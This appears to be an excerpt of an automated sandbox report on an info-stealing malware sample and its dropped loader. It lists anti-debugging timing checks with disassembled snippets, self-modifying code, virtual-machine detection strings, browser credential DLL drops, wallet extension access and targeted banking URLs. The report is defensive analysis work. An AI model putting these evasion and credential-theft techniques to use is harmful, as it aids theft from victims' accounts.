Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FD3E7 second address: 4FD3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FD3EC second address: 4FD3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FD3F2 second address: 4FD3F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FDD54 second address: 4FDD58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FDD58 second address: 4FDDC2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5500B4B7CCh 0x00000008 jbe 00007F5500B4B7C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 sbb esi, 534C30DAh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F5500B4B7C8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 jmp 00007F5500B4B7CCh 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007F5500B4B7C8h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 xchg eax, ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 push ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FDDC2 second address: 4FDDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FDDC7 second address: 4FDDCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FDDCD second address: 4FDDD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FDDD1 second address: 4FDDD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FEDBD second address: 4FEDC3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FEDC3 second address: 4FEE3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F5500B4B7C6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov edi, dword ptr [ebp+122D2E47h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F5500B4B7C8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov dword ptr [ebp+12447203h], esi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F5500B4B7C8h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 mov edi, 20368026h 0x00000058 and esi, dword ptr [ebp+122D2D5Fh] 0x0000005e xchg eax, ebx 0x0000005f push esi 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FEE3A second address: 4FEE5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5500C932A7h 0x00000011 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FEE5D second address: 4FEE79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FEE79 second address: 4FEE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FF9A9 second address: 4FF9AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FF9AF second address: 4FF9B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 500547 second address: 500553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 501011 second address: 501016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 501016 second address: 501091 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D33DAh] 0x00000012 sub esi, 35F7F3CDh 0x00000018 push 00000000h 0x0000001a jmp 00007F5500B4B7D4h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007F5500B4B7C8h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b pushad 0x0000003c jmp 00007F5500B4B7CEh 0x00000041 pushad 0x00000042 cmc 0x00000043 mov esi, ecx 0x00000045 popad 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push ebx 0x0000004d pop ebx 0x0000004e rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 501091 second address: 501097 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 501B72 second address: 501BD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F5500B4B7C8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D3B1Eh], ebx 0x0000002a xor si, 5304h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007F5500B4B7C8h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b sub dword ptr [ebp+12478008h], esi 0x00000051 push 00000000h 0x00000053 stc 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edi 0x00000059 pop edi 0x0000005a pop eax 0x0000005b rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 502697 second address: 5026A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 5026A4 second address: 502722 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5500B4B7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F5500B4B7C8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 jmp 00007F5500B4B7CBh 0x0000002b push 00000000h 0x0000002d jmp 00007F5500B4B7D3h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007F5500B4B7C8h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e xchg eax, ebx 0x0000004f jnl 00007F5500B4B7CEh 0x00000055 push eax 0x00000056 push ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 502722 second address: 502726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 502726 second address: 50272A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 50563E second address: 505642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 505642 second address: 505654 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F5500B4B7CCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4B4AE4 second address: 4B4AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F5500C93296h 0x0000000d rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4B4AF1 second address: 4B4AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 506674 second address: 50667E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5500C93296h 0x0000000a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 50667E second address: 506699 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 507629 second address: 50762D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 509BE8 second address: 509C60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F5500B4B7C8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+12452394h], eax 0x0000002a push 00000000h 0x0000002c mov ebx, edx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F5500B4B7C8h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a add dword ptr [ebp+122D1CDCh], edi 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F5500B4B7CFh 0x00000059 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 50AC8D second address: 50AC93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 50CC9A second address: 50CCB0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5500B4B7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F5500B4B7C8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 50CCB0 second address: 50CCB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0F9A6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0FA8A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D31F9E instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Special instruction interceptor: First address: 34EBC4 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Special instruction interceptor: First address: 34EC57 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Special instruction interceptor: First address: 4ED643 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Special instruction interceptor: First address: 4EDB15 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Special instruction interceptor: First address: 51EF05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B7EBC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B7EC57 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D1D643 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D1DB15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D4EF05 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Documents\DGIJDAFCFH.exe

Code function: 14_2_04990482 rdtsc

14_2_04990482

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 6532	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1008	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1008	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5156	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5160	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6520	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 800	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 800	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5676	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5676	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7484	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7484	Thread sleep time: -1140000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7484	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\DGIJDAFCFH.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C94C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C94C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000010.00000002.2751798038.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3374597114.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DAECFIJD.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2746754434.000000000B783000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}l
Source: DAECFIJD.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: DAECFIJD.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: DAECFIJD.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DAECFIJD.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: DAECFIJD.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2746754434.000000000B783000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: DAECFIJD.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3373829942.000000000088C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000011.00000002.3373829942.0000000000859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: DAECFIJD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: DAECFIJD.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: DAECFIJD.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: DAECFIJD.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000002.2737576972.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DAECFIJD.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: DAECFIJD.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: DAECFIJD.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: DAECFIJD.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: DAECFIJD.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: DAECFIJD.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: DAECFIJD.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DAECFIJD.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: DAECFIJD.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: DAECFIJD.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: DAECFIJD.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: DAECFIJD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DAECFIJD.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: DAECFIJD.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: DAECFIJD.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: DAECFIJD.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: DAECFIJD.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: DAECFIJD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2736781628.0000000000C89000.00000040.00000001.01000000.00000003.sdmp, DGIJDAFCFH.exe, 0000000E.00000002.2727565184.00000000004CC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2751582774.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2751798038.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3374597114.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DAECFIJD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: DAECFIJD.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
